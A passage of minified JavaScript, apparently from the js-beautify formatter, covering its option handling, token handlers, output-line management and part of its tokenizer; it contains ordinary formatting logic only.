var tokens=[],token_pos;var Tokenizer;var current_token;var last_type,last_last_text,indent_string;var flags,previous_flags,flag_store;var prefix;var handlers,opt;var baseIndentString='';handlers={'TK_START_EXPR':handle_start_expr,'TK_END_EXPR':handle_end_expr,'TK_START_BLOCK':handle_start_block,'TK_END_BLOCK':handle_end_block,'TK_WORD':handle_word,'TK_RESERVED':handle_word,'TK_SEMICOLON':handle_semicolon,'TK_STRING':handle_string,'TK_EQUALS':handle_equals,'TK_OPERATOR':handle_operator,'TK_COMMA':handle_comma,'TK_BLOCK_COMMENT':handle_block_comment,'TK_COMMENT':handle_comment,'TK_DOT':handle_dot,'TK_UNKNOWN':handle_unknown,'TK_EOF':handle_eof};function create_flags(flags_base,mode){var next_indent_level=0;if(flags_base){next_indent_level=flags_base.indentation_level;if(!output.just_added_newline()&&flags_base.line_indent_level>next_indent_level){next_indent_level=flags_base.line_indent_level;}}
var next_flags={mode:mode,parent:flags_base,last_text:flags_base?flags_base.last_text:'',last_word:flags_base?flags_base.last_word:'',declaration_statement:false,declaration_assignment:false,multiline_frame:false,if_block:false,else_block:false,do_block:false,do_while:false,in_case_statement:false,in_case:false,case_body:false,indentation_level:next_indent_level,line_indent_level:flags_base?flags_base.line_indent_level:next_indent_level,start_line_index:output.get_line_number(),ternary_depth:0};return next_flags;}
options=options?options:{};opt={};if(options.braces_on_own_line!==undefined){opt.brace_style=options.braces_on_own_line?"expand":"collapse";}
opt.brace_style=options.brace_style?options.brace_style:(opt.brace_style?opt.brace_style:"collapse");if(opt.brace_style==="expand-strict"){opt.brace_style="expand";}
opt.indent_size=options.indent_size?parseInt(options.indent_size,10):4;opt.indent_char=options.indent_char?options.indent_char:' ';opt.eol=options.eol?options.eol:'\n';opt.preserve_newlines=(options.preserve_newlines===undefined)?true:options.preserve_newlines;opt.break_chained_methods=(options.break_chained_methods===undefined)?false:options.break_chained_methods;opt.max_preserve_newlines=(options.max_preserve_newlines===undefined)?0:parseInt(options.max_preserve_newlines,10);opt.space_in_paren=(options.space_in_paren===undefined)?false:options.space_in_paren;opt.space_in_empty_paren=(options.space_in_empty_paren===undefined)?false:options.space_in_empty_paren;opt.jslint_happy=(options.jslint_happy===undefined)?false:options.jslint_happy;opt.space_after_anon_function=(options.space_after_anon_function===undefined)?false:options.space_after_anon_function;opt.keep_array_indentation=(options.keep_array_indentation===undefined)?false:options.keep_array_indentation;opt.space_before_conditional=(options.space_before_conditional===undefined)?true:options.space_before_conditional;opt.unescape_strings=(options.unescape_strings===undefined)?false:options.unescape_strings;opt.wrap_line_length=(options.wrap_line_length===undefined)?0:parseInt(options.wrap_line_length,10);opt.e4x=(options.e4x===undefined)?false:options.e4x;opt.end_with_newline=(options.end_with_newline===undefined)?false:options.end_with_newline;opt.comma_first=(options.comma_first===undefined)?false:options.comma_first;opt.test_output_raw=(options.test_output_raw===undefined)?false:options.test_output_raw;if(opt.jslint_happy){opt.space_after_anon_function=true;}
if(options.indent_with_tabs){opt.indent_char='\t';opt.indent_size=1;}
opt.eol=opt.eol.replace(/\\r/,'\r').replace(/\\n/,'\n')
indent_string='';while(opt.indent_size>0){indent_string+=opt.indent_char;opt.indent_size-=1;}
var preindent_index=0;if(js_source_text&&js_source_text.length){while((js_source_text.charAt(preindent_index)===' '||js_source_text.charAt(preindent_index)==='\t')){baseIndentString+=js_source_text.charAt(preindent_index);preindent_index+=1;}
js_source_text=js_source_text.substring(preindent_index);}
last_type='TK_START_BLOCK';last_last_text='';output=new Output(indent_string,baseIndentString);output.raw=opt.test_output_raw;flag_store=[];set_mode(MODE.BlockStatement);this.beautify=function(){var local_token,sweet_code;Tokenizer=new tokenizer(js_source_text,opt,indent_string);tokens=Tokenizer.tokenize();token_pos=0;while(local_token=get_token()){for(var i=0;i<local_token.comments_before.length;i++){handle_token(local_token.comments_before[i]);}
handle_token(local_token);last_last_text=flags.last_text;last_type=local_token.type;flags.last_text=local_token.text;token_pos+=1;}
sweet_code=output.get_code();if(opt.end_with_newline){sweet_code+='\n';}
if(opt.eol!='\n'){sweet_code=sweet_code.replace(/[\n]/g,opt.eol);}
return sweet_code;};function handle_token(local_token){var newlines=local_token.newlines;var keep_whitespace=opt.keep_array_indentation&&is_array(flags.mode);if(keep_whitespace){for(i=0;i<newlines;i+=1){print_newline(i>0);}}else{if(opt.max_preserve_newlines&&newlines>opt.max_preserve_newlines){newlines=opt.max_preserve_newlines;}
if(opt.preserve_newlines){if(local_token.newlines>1){print_newline();for(var i=1;i<newlines;i+=1){print_newline(true);}}}}
current_token=local_token;handlers[current_token.type]();}
function split_newlines(s){s=s.replace(/\x0d/g,'');var out=[],idx=s.indexOf("\n");while(idx!==-1){out.push(s.substring(0,idx));s=s.substring(idx+1);idx=s.indexOf("\n");}
if(s.length){out.push(s);}
return out;}
function allow_wrap_or_preserved_newline(force_linewrap){force_linewrap=(force_linewrap===undefined)?false:force_linewrap;if(output.just_added_newline()){return}
if((opt.preserve_newlines&&current_token.wanted_newline)||force_linewrap){print_newline(false,true);}else if(opt.wrap_line_length){var proposed_line_length=output.current_line.get_character_count()+current_token.text.length+
(output.space_before_token?1:0);if(proposed_line_length>=opt.wrap_line_length){print_newline(false,true);}}}
function print_newline(force_newline,preserve_statement_flags){if(!preserve_statement_flags){if(flags.last_text!==';'&&flags.last_text!==','&&flags.last_text!=='='&&last_type!=='TK_OPERATOR'){while(flags.mode===MODE.Statement&&!flags.if_block&&!flags.do_block){restore_mode();}}}
if(output.add_new_line(force_newline)){flags.multiline_frame=true;}}
function print_token_line_indentation(){if(output.just_added_newline()){if(opt.keep_array_indentation&&is_array(flags.mode)&&current_token.wanted_newline){output.current_line.push(current_token.whitespace_before);output.space_before_token=false;}else if(output.set_indent(flags.indentation_level)){flags.line_indent_level=flags.indentation_level;}}}
function print_token(printable_token){if(output.raw){output.add_raw_token(current_token)
return;}
if(opt.comma_first&&last_type==='TK_COMMA'&&output.just_added_newline()){if(output.previous_line.last()===','){output.previous_line.pop();print_token_line_indentation();output.add_token(',');output.space_before_token=true;}}
printable_token=printable_token||current_token.text;print_token_line_indentation();output.add_token(printable_token);}
function indent(){flags.indentation_level+=1;}
function deindent(){if(flags.indentation_level>0&&((!flags.parent)||flags.indentation_level>flags.parent.indentation_level))
flags.indentation_level-=1;}
function set_mode(mode){if(flags){flag_store.push(flags);previous_flags=flags;}else{previous_flags=create_flags(null,mode);}
flags=create_flags(previous_flags,mode);}
function is_array(mode){return mode===MODE.ArrayLiteral;}
function is_expression(mode){return in_array(mode,[MODE.Expression,MODE.ForInitializer,MODE.Conditional]);}
function restore_mode(){if(flag_store.length>0){previous_flags=flags;flags=flag_store.pop();if(previous_flags.mode===MODE.Statement){output.remove_redundant_indentation(previous_flags);}}}
function start_of_object_property(){return flags.parent.mode===MODE.ObjectLiteral&&flags.mode===MODE.Statement&&((flags.last_text===':'&&flags.ternary_depth===0)||(last_type==='TK_RESERVED'&&in_array(flags.last_text,['get','set'])));}
function start_of_statement(){if((last_type==='TK_RESERVED'&&in_array(flags.last_text,['var','let','const'])&&current_token.type==='TK_WORD')||(last_type==='TK_RESERVED'&&flags.last_text==='do')||(last_type==='TK_RESERVED'&&flags.last_text==='return'&&!current_token.wanted_newline)||(last_type==='TK_RESERVED'&&flags.last_text==='else'&&!(current_token.type==='TK_RESERVED'&&current_token.text==='if'))||(last_type==='TK_END_EXPR'&&(previous_flags.mode===MODE.ForInitializer||previous_flags.mode===MODE.Conditional))||(last_type==='TK_WORD'&&flags.mode===MODE.BlockStatement&&!flags.in_case&&!(current_token.text==='--'||current_token.text==='++')&&last_last_text!=='function'&&current_token.type!=='TK_WORD'&&current_token.type!=='TK_RESERVED')||(flags.mode===MODE.ObjectLiteral&&((flags.last_text===':'&&flags.ternary_depth===0)||(last_type==='TK_RESERVED'&&in_array(flags.last_text,['get','set']))))){set_mode(MODE.Statement);indent();if(last_type==='TK_RESERVED'&&in_array(flags.last_text,['var','let','const'])&&current_token.type==='TK_WORD'){flags.declaration_statement=true;}
if(!start_of_object_property()){allow_wrap_or_preserved_newline(current_token.type==='TK_RESERVED'&&in_array(current_token.text,['do','for','if','while']));}
return true;}
return false;}
function all_lines_start_with(lines,c){for(var i=0;i<lines.length;i++){var line=trim(lines[i]);if(line.charAt(0)!==c){return false;}}
return true;}
function each_line_matches_indent(lines,indent){var i=0,len=lines.length,line;for(;i<len;i++){line=lines[i];if(line&&line.indexOf(indent)!==0){return false;}}
return true;}
function is_special_word(word){return in_array(word,['case','return','do','if','throw','else']);}
function get_token(offset){var index=token_pos+(offset||0);return(index<0||index>=tokens.length)?null:tokens[index];}
function handle_start_expr(){if(start_of_statement()){}
var next_mode=MODE.Expression;if(current_token.text==='['){if(last_type==='TK_WORD'||flags.last_text===')'){if(last_type==='TK_RESERVED'&&in_array(flags.last_text,Tokenizer.line_starters)){output.space_before_token=true;}
set_mode(next_mode);print_token();indent();if(opt.space_in_paren){output.space_before_token=true;}
return;}
next_mode=MODE.ArrayLiteral;if(is_array(flags.mode)){if(flags.last_text==='['||(flags.last_text===','&&(last_last_text===']'||last_last_text==='}'))){if(!opt.keep_array_indentation){print_newline();}}}}else{if(last_type==='TK_RESERVED'&&flags.last_text==='for'){next_mode=MODE.ForInitializer;}else if(last_type==='TK_RESERVED'&&in_array(flags.last_text,['if','while'])){next_mode=MODE.Conditional;}else{}}
if(flags.last_text===';'||last_type==='TK_START_BLOCK'){print_newline();}else if(last_type==='TK_END_EXPR'||last_type==='TK_START_EXPR'||last_type==='TK_END_BLOCK'||flags.last_text==='.'){allow_wrap_or_preserved_newline(current_token.wanted_newline);}else if(!(last_type==='TK_RESERVED'&&current_token.text==='(')&&last_type!=='TK_WORD'&&last_type!=='TK_OPERATOR'){output.space_before_token=true;}else if((last_type==='TK_RESERVED'&&(flags.last_word==='function'||flags.last_word==='typeof'))||(flags.last_text==='*'&&last_last_text==='function')){if(opt.space_after_anon_function){output.space_before_token=true;}}else if(last_type==='TK_RESERVED'&&(in_array(flags.last_text,Tokenizer.line_starters)||flags.last_text==='catch')){if(opt.space_before_conditional){output.space_before_token=true;}}
if(current_token.text==='('&&last_type==='TK_RESERVED'&&flags.last_word==='await'){output.space_before_token=true;}
if(current_token.text==='('){if(last_type==='TK_EQUALS'||last_type==='TK_OPERATOR'){if(!start_of_object_property()){allow_wrap_or_preserved_newline();}}}
set_mode(next_mode);print_token();if(opt.space_in_paren){output.space_before_token=true;}
indent();}
function handle_end_expr(){while(flags.mode===MODE.Statement){restore_mode();}
if(flags.multiline_frame){allow_wrap_or_preserved_newline(current_token.text===']'&&is_array(flags.mode)&&!opt.keep_array_indentation);}
if(opt.space_in_paren){if(last_type==='TK_START_EXPR'&&!opt.space_in_empty_paren){output.trim();output.space_before_token=false;}else{output.space_before_token=true;}}
if(current_token.text===']'&&opt.keep_array_indentation){print_token();restore_mode();}else{restore_mode();print_token();}
output.remove_redundant_indentation(previous_flags);if(flags.do_while&&previous_flags.mode===MODE.Conditional){previous_flags.mode=MODE.Expression;flags.do_block=false;flags.do_while=false;}}
function handle_start_block(){var next_token=get_token(1)
var second_token=get_token(2)
if(second_token&&((second_token.text===':'&&in_array(next_token.type,['TK_STRING','TK_WORD','TK_RESERVED']))||(in_array(next_token.text,['get','set'])&&in_array(second_token.type,['TK_WORD','TK_RESERVED'])))){if(!in_array(last_last_text,['class','interface'])){set_mode(MODE.ObjectLiteral);}else{set_mode(MODE.BlockStatement);}}else{set_mode(MODE.BlockStatement);}
var empty_braces=!next_token.comments_before.length&&next_token.text==='}';var empty_anonymous_function=empty_braces&&flags.last_word==='function'&&last_type==='TK_END_EXPR';if(opt.brace_style==="expand"||(opt.brace_style==="none"&&current_token.wanted_newline)){if(last_type!=='TK_OPERATOR'&&(empty_anonymous_function||last_type==='TK_EQUALS'||(last_type==='TK_RESERVED'&&is_special_word(flags.last_text)&&flags.last_text!=='else'))){output.space_before_token=true;}else{print_newline(false,true);}}else{if(last_type!=='TK_OPERATOR'&&last_type!=='TK_START_EXPR'){if(last_type==='TK_START_BLOCK'){print_newline();}else{output.space_before_token=true;}}else{if(is_array(previous_flags.mode)&&flags.last_text===','){if(last_last_text==='}'){output.space_before_token=true;}else{print_newline();}}}}
print_token();indent();}
function handle_end_block(){while(flags.mode===MODE.Statement){restore_mode();}
var empty_braces=last_type==='TK_START_BLOCK';if(opt.brace_style==="expand"){if(!empty_braces){print_newline();}}else{if(!empty_braces){if(is_array(flags.mode)&&opt.keep_array_indentation){opt.keep_array_indentation=false;print_newline();opt.keep_array_indentation=true;}else{print_newline();}}}
restore_mode();print_token();}
function handle_word(){if(current_token.type==='TK_RESERVED'&&flags.mode!==MODE.ObjectLiteral&&in_array(current_token.text,['set','get'])){current_token.type='TK_WORD';}
if(current_token.type==='TK_RESERVED'&&flags.mode===MODE.ObjectLiteral){var next_token=get_token(1);if(next_token.text==':'){current_token.type='TK_WORD';}}
if(start_of_statement()){}else if(current_token.wanted_newline&&!is_expression(flags.mode)&&(last_type!=='TK_OPERATOR'||(flags.last_text==='--'||flags.last_text==='++'))&&last_type!=='TK_EQUALS'&&(opt.preserve_newlines||!(last_type==='TK_RESERVED'&&in_array(flags.last_text,['var','let','const','set','get'])))){print_newline();}
if(flags.do_block&&!flags.do_while){if(current_token.type==='TK_RESERVED'&&current_token.text==='while'){output.space_before_token=true;print_token();output.space_before_token=true;flags.do_while=true;return;}else{print_newline();flags.do_block=false;}}
if(flags.if_block){if(!flags.else_block&&(current_token.type==='TK_RESERVED'&&current_token.text==='else')){flags.else_block=true;}else{while(flags.mode===MODE.Statement){restore_mode();}
flags.if_block=false;flags.else_block=false;}}
if(current_token.type==='TK_RESERVED'&&(current_token.text==='case'||(current_token.text==='default'&&flags.in_case_statement))){print_newline();if(flags.case_body||opt.jslint_happy){deindent();flags.case_body=false;}
print_token();flags.in_case=true;flags.in_case_statement=true;return;}
if(current_token.type==='TK_RESERVED'&&current_token.text==='function'){if(in_array(flags.last_text,['}',';'])||(output.just_added_newline()&&!in_array(flags.last_text,['[','{',':','=',',']))){if(!output.just_added_blankline()&&!current_token.comments_before.length){print_newline();print_newline(true);}}
if(last_type==='TK_RESERVED'||last_type==='TK_WORD'){if(last_type==='TK_RESERVED'&&in_array(flags.last_text,['get','set','new','return','export','async'])){output.space_before_token=true;}else if(last_type==='TK_RESERVED'&&flags.last_text==='default'&&last_last_text==='export'){output.space_before_token=true;}else{print_newline();}}else if(last_type==='TK_OPERATOR'||flags.last_text==='='){output.space_before_token=true;}else if(!flags.multiline_frame&&(is_expression(flags.mode)||is_array(flags.mode))){}else{print_newline();}}
if(last_type==='TK_COMMA'||last_type==='TK_START_EXPR'||last_type==='TK_EQUALS'||last_type==='TK_OPERATOR'){if(!start_of_object_property()){allow_wrap_or_preserved_newline();}}
if(current_token.type==='TK_RESERVED'&&in_array(current_token.text,['function','get','set'])){print_token();flags.last_word=current_token.text;return;}
prefix='NONE';if(last_type==='TK_END_BLOCK'){if(!(current_token.type==='TK_RESERVED'&&in_array(current_token.text,['else','catch','finally']))){prefix='NEWLINE';}else{if(opt.brace_style==="expand"||opt.brace_style==="end-expand"||(opt.brace_style==="none"&&current_token.wanted_newline)){prefix='NEWLINE';}else{prefix='SPACE';output.space_before_token=true;}}}else if(last_type==='TK_SEMICOLON'&&flags.mode===MODE.BlockStatement){prefix='NEWLINE';}else if(last_type==='TK_SEMICOLON'&&is_expression(flags.mode)){prefix='SPACE';}else if(last_type==='TK_STRING'){prefix='NEWLINE';}else if(last_type==='TK_RESERVED'||last_type==='TK_WORD'||(flags.last_text==='*'&&last_last_text==='function')){prefix='SPACE';}else if(last_type==='TK_START_BLOCK'){prefix='NEWLINE';}else if(last_type==='TK_END_EXPR'){output.space_before_token=true;prefix='NEWLINE';}
if(current_token.type==='TK_RESERVED'&&in_array(current_token.text,Tokenizer.line_starters)&&flags.last_text!==')'){if(flags.last_text==='else'||flags.last_text==='export'){prefix='SPACE';}else{prefix='NEWLINE';}}
if(current_token.type==='TK_RESERVED'&&in_array(current_token.text,['else','catch','finally'])){if(last_type!=='TK_END_BLOCK'||opt.brace_style==="expand"||opt.brace_style==="end-expand"||(opt.brace_style==="none"&&current_token.wanted_newline)){print_newline();}else{output.trim(true);var line=output.current_line;if(line.last()!=='}'){print_newline();}
output.space_before_token=true;}}else if(prefix==='NEWLINE'){if(last_type==='TK_RESERVED'&&is_special_word(flags.last_text)){output.space_before_token=true;}else if(last_type!=='TK_END_EXPR'){if((last_type!=='TK_START_EXPR'||!(current_token.type==='TK_RESERVED'&&in_array(current_token.text,['var','let','const'])))&&flags.last_text!==':'){if(current_token.type==='TK_RESERVED'&&current_token.text==='if'&&flags.last_text==='else'){output.space_before_token=true;}else{print_newline();}}}else if(current_token.type==='TK_RESERVED'&&in_array(current_token.text,Tokenizer.line_starters)&&flags.last_text!==')'){print_newline();}}else if(flags.multiline_frame&&is_array(flags.mode)&&flags.last_text===','&&last_last_text==='}'){print_newline();}else if(prefix==='SPACE'){output.space_before_token=true;}
print_token();flags.last_word=current_token.text;if(current_token.type==='TK_RESERVED'&&current_token.text==='do'){flags.do_block=true;}
if(current_token.type==='TK_RESERVED'&&current_token.text==='if'){flags.if_block=true;}}
function handle_semicolon(){if(start_of_statement()){output.space_before_token=false;}
while(flags.mode===MODE.Statement&&!flags.if_block&&!flags.do_block){restore_mode();}
print_token();}
function handle_string(){if(start_of_statement()){output.space_before_token=true;}else if(last_type==='TK_RESERVED'||last_type==='TK_WORD'){output.space_before_token=true;}else if(last_type==='TK_COMMA'||last_type==='TK_START_EXPR'||last_type==='TK_EQUALS'||last_type==='TK_OPERATOR'){if(!start_of_object_property()){allow_wrap_or_preserved_newline();}}else{print_newline();}
print_token();}
function handle_equals(){if(start_of_statement()){}
if(flags.declaration_statement){flags.declaration_assignment=true;}
output.space_before_token=true;print_token();output.space_before_token=true;}
function handle_comma(){if(flags.declaration_statement){if(is_expression(flags.parent.mode)){flags.declaration_assignment=false;}
print_token();if(flags.declaration_assignment){flags.declaration_assignment=false;print_newline(false,true);}else{output.space_before_token=true;if(opt.comma_first){allow_wrap_or_preserved_newline();}}
return;}
print_token();if(flags.mode===MODE.ObjectLiteral||(flags.mode===MODE.Statement&&flags.parent.mode===MODE.ObjectLiteral)){if(flags.mode===MODE.Statement){restore_mode();}
print_newline();}else{output.space_before_token=true;if(opt.comma_first){allow_wrap_or_preserved_newline();}}}
function handle_operator(){if(start_of_statement()){}
if(last_type==='TK_RESERVED'&&is_special_word(flags.last_text)){output.space_before_token=true;print_token();return;}
if(current_token.text==='*'&&last_type==='TK_DOT'){print_token();return;}
if(current_token.text===':'&&flags.in_case){flags.case_body=true;indent();print_token();print_newline();flags.in_case=false;return;}
if(current_token.text==='::'){print_token();return;}
if(last_type==='TK_OPERATOR'){allow_wrap_or_preserved_newline();}
var space_before=true;var space_after=true;if(in_array(current_token.text,['--','++','!','~'])||(in_array(current_token.text,['-','+'])&&(in_array(last_type,['TK_START_BLOCK','TK_START_EXPR','TK_EQUALS','TK_OPERATOR'])||in_array(flags.last_text,Tokenizer.line_starters)||flags.last_text===','))){space_before=false;space_after=false;if(current_token.wanted_newline&&(current_token.text==='--'||current_token.text==='++')){print_newline(false,true);}
if(flags.last_text===';'&&is_expression(flags.mode)){space_before=true;}
if(last_type==='TK_RESERVED'){space_before=true;}else if(last_type==='TK_END_EXPR'){space_before=!(flags.last_text===']'&&(current_token.text==='--'||current_token.text==='++'));}else if(last_type==='TK_OPERATOR'){space_before=in_array(current_token.text,['--','-','++','+'])&&in_array(flags.last_text,['--','-','++','+']);if(in_array(current_token.text,['+','-'])&&in_array(flags.last_text,['--','++'])){space_after=true;}}
if((flags.mode===MODE.BlockStatement||flags.mode===MODE.Statement)&&(flags.last_text==='{'||flags.last_text===';')){print_newline();}}else if(current_token.text===':'){if(flags.ternary_depth===0){space_before=false;}else{flags.ternary_depth-=1;}}else if(current_token.text==='?'){flags.ternary_depth+=1;}else if(current_token.text==='*'&&last_type==='TK_RESERVED'&&flags.last_text==='function'){space_before=false;space_after=false;}
output.space_before_token=output.space_before_token||space_before;print_token();output.space_before_token=space_after;}
function handle_block_comment(){if(output.raw){output.add_raw_token(current_token)
if(current_token.directives&&current_token.directives['preserve']==='end'){if(!opt.test_output_raw){output.raw=false;}}
return;}
if(current_token.directives){print_newline(false,true);print_token();if(current_token.directives['preserve']==='start'){output.raw=true;}
print_newline(false,true);return;}
if(!acorn.newline.test(current_token.text)&&!current_token.wanted_newline){output.space_before_token=true;print_token();output.space_before_token=true;return;}
var lines=split_newlines(current_token.text);var j;var javadoc=false;var starless=false;var lastIndent=current_token.whitespace_before;var lastIndentLength=lastIndent.length;print_newline(false,true);if(lines.length>1){if(all_lines_start_with(lines.slice(1),'*')){javadoc=true;}
else if(each_line_matches_indent(lines.slice(1),lastIndent)){starless=true;}}
print_token(lines[0]);for(j=1;j<lines.length;j++){print_newline(false,true);if(javadoc){print_token(' '+ltrim(lines[j]));}else if(starless&&lines[j].length>lastIndentLength){print_token(lines[j].substring(lastIndentLength));}else{output.add_token(lines[j]);}}
print_newline(false,true);}
function handle_comment(){if(current_token.wanted_newline){print_newline(false,true);}else{output.trim(true);}
output.space_before_token=true;print_token();print_newline(false,true);}
function handle_dot(){if(start_of_statement()){}
if(last_type==='TK_RESERVED'&&is_special_word(flags.last_text)){output.space_before_token=true;}else{allow_wrap_or_preserved_newline(flags.last_text===')'&&opt.break_chained_methods);}
print_token();}
function handle_unknown(){print_token();if(current_token.text[current_token.text.length-1]==='\n'){print_newline();}}
function handle_eof(){while(flags.mode===MODE.Statement){restore_mode();}}}
function OutputLine(parent){var _character_count=0;var _indent_count=-1;var _items=[];var _empty=true;this.set_indent=function(level){_character_count=parent.baseIndentLength+level*parent.indent_length
_indent_count=level;}
this.get_character_count=function(){return _character_count;}
this.is_empty=function(){return _empty;}
this.last=function(){if(!this._empty){return _items[_items.length-1];}else{return null;}}
this.push=function(input){_items.push(input);_character_count+=input.length;_empty=false;}
this.pop=function(){var item=null;if(!_empty){item=_items.pop();_character_count-=item.length;_empty=_items.length===0;}
return item;}
this.remove_indent=function(){if(_indent_count>0){_indent_count-=1;_character_count-=parent.indent_length}}
this.trim=function(){while(this.last()===' '){var item=_items.pop();_character_count-=1;}
_empty=_items.length===0;}
this.toString=function(){var result='';if(!this._empty){if(_indent_count>=0){result=parent.indent_cache[_indent_count];}
result+=_items.join('')}
return result;}}
function Output(indent_string,baseIndentString){baseIndentString=baseIndentString||'';this.indent_cache=[baseIndentString];this.baseIndentLength=baseIndentString.length;this.indent_length=indent_string.length;this.raw=false;var lines=[];this.baseIndentString=baseIndentString;this.indent_string=indent_string;this.previous_line=null;this.current_line=null;this.space_before_token=false;this.add_outputline=function(){this.previous_line=this.current_line;this.current_line=new OutputLine(this);lines.push(this.current_line);}
this.add_outputline();this.get_line_number=function(){return lines.length;}
this.add_new_line=function(force_newline){if(this.get_line_number()===1&&this.just_added_newline()){return false;}
if(force_newline||!this.just_added_newline()){if(!this.raw){this.add_outputline();}
return true;}
return false;}
this.get_code=function(){var sweet_code=lines.join('\n').replace(/[\r\n\t ]+$/,'');return sweet_code;}
this.set_indent=function(level){if(lines.length>1){while(level>=this.indent_cache.length){this.indent_cache.push(this.indent_cache[this.indent_cache.length-1]+this.indent_string);}
this.current_line.set_indent(level);return true;}
this.current_line.set_indent(0);return false;}
this.add_raw_token=function(token){for(var x=0;x<token.newlines;x++){this.add_outputline();}
this.current_line.push(token.whitespace_before);this.current_line.push(token.text);this.space_before_token=false;}
this.add_token=function(printable_token){this.add_space_before_token();this.current_line.push(printable_token);}
this.add_space_before_token=function(){if(this.space_before_token&&!this.just_added_newline()){this.current_line.push(' ');}
this.space_before_token=false;}
this.remove_redundant_indentation=function(frame){if(frame.multiline_frame||frame.mode===MODE.ForInitializer||frame.mode===MODE.Conditional){return;}
var index=frame.start_line_index;var line;var output_length=lines.length;while(index<output_length){lines[index].remove_indent();index++;}}
this.trim=function(eat_newlines){eat_newlines=(eat_newlines===undefined)?false:eat_newlines;this.current_line.trim(indent_string,baseIndentString);while(eat_newlines&&lines.length>1&&this.current_line.is_empty()){lines.pop();this.current_line=lines[lines.length-1]
this.current_line.trim();}
this.previous_line=lines.length>1?lines[lines.length-2]:null;}
this.just_added_newline=function(){return this.current_line.is_empty();}
this.just_added_blankline=function(){if(this.just_added_newline()){if(lines.length===1){return true;}
var line=lines[lines.length-2];return line.is_empty();}
return false;}}
var Token=function(type,text,newlines,whitespace_before,mode,parent){this.type=type;this.text=text;this.comments_before=[];this.newlines=newlines||0;this.wanted_newline=newlines>0;this.whitespace_before=whitespace_before||'';this.parent=null;this.directives=null;}
function tokenizer(input,opts,indent_string){var whitespace="\n\r\t ".split('');var digit=/[0-9]/;var digit_hex=/[0123456789abcdefABCDEF]/;var punct=('+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>').split(' ');this.line_starters='continue,try,throw,return,var,let,const,if,switch,case,default,for,while,break,function,import,export'.split(',');var reserved_words=this.line_starters.concat(['do','in','else','get','set','new','catch','finally','typeof','yield','async','await']);var block_comment_pattern=/([\s\S]*?)((?:\*\/)|$)/g;var comment_pattern=/([^\n\r\u2028\u2029]*)/g;var directives_block_pattern=/\/\* beautify( \w+[:]\w+)+ \*\//g;var directive_pattern=/ (\w+)[:](\w+)/g;var directives_end_ignore_pattern=/([\s\S]*?)((?:\/\*\sbeautify\signore:end\s\*\/)|$)/g;var template_pattern=/((<\?php|<\?=)[\s\S]*?\?>)|(<%[\s\S]*?%>)/g
var n_newlines,whitespace_before_token,in_html_comment,tokens,parser_pos;var input_length;this.tokenize=function(){input_length=input.length
parser_pos=0;in_html_comment=false
tokens=[];var next,last;var token_values;var open=null;var open_stack=[];var comments=[];while(!(last&&last.type==='TK_EOF')){token_values=tokenize_next();next=new Token(token_values[1],token_values[0],n_newlines,whitespace_before_token);while(next.type==='TK_COMMENT'||next.type==='TK_BLOCK_COMMENT'||next.type==='TK_UNKNOWN'){if(next.type==='TK_BLOCK_COMMENT'){next.directives=token_values[2];}
comments.push(next);token_values=tokenize_next();next=new Token(token_values[1],token_values[0],n_newlines,whitespace_before_token);}
if(comments.length){next.comments_before=comments;comments=[];}
if(next.type==='TK_START_BLOCK'||next.type==='TK_START_EXPR'){next.parent=last;open_stack.push(open);open=next;}else if((next.type==='TK_END_BLOCK'||next.type==='TK_END_EXPR')&&(open&&((next.text===']'&&open.text==='[')||(next.text===')'&&open.text==='(')||(next.text==='}'&&open.text==='{')))){next.parent=open.parent;open=open_stack.pop();}
tokens.push(next);last=next;}
return tokens;}
function get_directives(text){if(!text.match(directives_block_pattern)){return null;}
var directives={};directive_pattern.lastIndex=0;var directive_match=directive_pattern.exec(text);while(directive_match){directives[directive_match[1]]=directive_match[2];directive_match=directive_pattern.exec(text);}
return directives;}
function tokenize_next(){var i,resulting_string;var whitespace_on_this_line=[];n_newlines=0;whitespace_before_token='';if(parser_pos>=input_length){return['','TK_EOF'];}
var last_token;if(tokens.length){last_token=tokens[tokens.length-1];}else{last_token=new Token('TK_START_BLOCK','{');}
var c=input.charAt(parser_pos);parser_pos+=1;while(in_array(c,whitespace)){if(acorn.newline.test(c)){if(!(c==='\n'&&input.charAt(parser_pos-2)==='\r')){n_newlines+=1;whitespace_on_this_line=[];}}else{whitespace_on_this_line.push(c);}
if(parser_pos>=input_length){return['','TK_EOF'];}
c=input.charAt(parser_pos);parser_pos+=1;}
if(whitespace_on_this_line.length){whitespace_before_token=whitespace_on_this_line.join('');}
if(digit.test(c)){var allow_decimal=true;var allow_e=true;var local_digit=digit;if(c==='0'&&parser_pos<input_length&&/[Xx]/.test(input.charAt(parser_pos))){allow_decimal=false;allow_e=false;c+=input.charAt(parser_pos);parser_pos+=1;local_digit=digit_hex}else{c='';parser_pos-=1}
while(parser_pos<input_length&&local_digit.test(input.charAt(parser_pos))){c+=input.charAt(parser_pos);parser_pos+=1;if(allow_decimal&&parser_pos<input_length&&input.charAt(parser_pos)==='.'){c+=input.charAt(parser_pos);parser_pos+=1;allow_decimal=false;}
if(allow_e&&parser_pos<input_length&&/[Ee]/.test(input.charAt(parser_pos))){c+=input.charAt(parser_pos);parser_pos+=1;if(parser_pos<input_length&&/[+-]/.test(input.charAt(parser_pos))){c+=input.charAt(parser_pos);parser_pos+=1;}
allow_e=false;allow_decimal=false;}}
return[c,'TK_WORD'];}
if(acorn.isIdentifierStart(input.charCodeAt(parser_pos-1))){if(parser_pos<input_length){while(acorn.isIdentifierChar(input.charCodeAt(parser_pos))){c+=input.charAt(parser_pos);parser_pos+=1;if(parser_pos===input_length){break;}}}
if(!(last_token.type==='TK_DOT'||(last_token.type==='TK_RESERVED'&&in_array(last_token.text,['set','get'])))&&in_array(c,reserved_words)){if(c==='in'){return[c,'TK_OPERATOR'];}
return[c,'TK_RESERVED'];}
return[c,'TK_WORD'];}
if(c==='('||c==='['){return[c,'TK_START_EXPR'];}
if(c===')'||c===']'){return[c,'TK_END_EXPR'];}
if(c==='{'){return[c,'TK_START_BLOCK'];}
if(c==='}'){return[c,'TK_END_BLOCK'];}
if(c===';'){return[c,'TK_SEMICOLON'];}
if(c==='/'){var comment='';if(input.charAt(parser_pos)==='*'){parser_pos+=1;block_comment_pattern.lastIndex=parser_pos;var comment_match=block_comment_pattern.exec(input);comment='/*'+comment_match[0];parser_pos+=comment_match[0].length;var directives=get_directives(comment);if(directives&&directives['ignore']==='start'){directives_end_ignore_pattern.lastIndex=parser_pos;comment_match=directives_end_ignore_pattern.exec(input)
comment+=comment_match[0];parser_pos+=comment_match[0].length;}
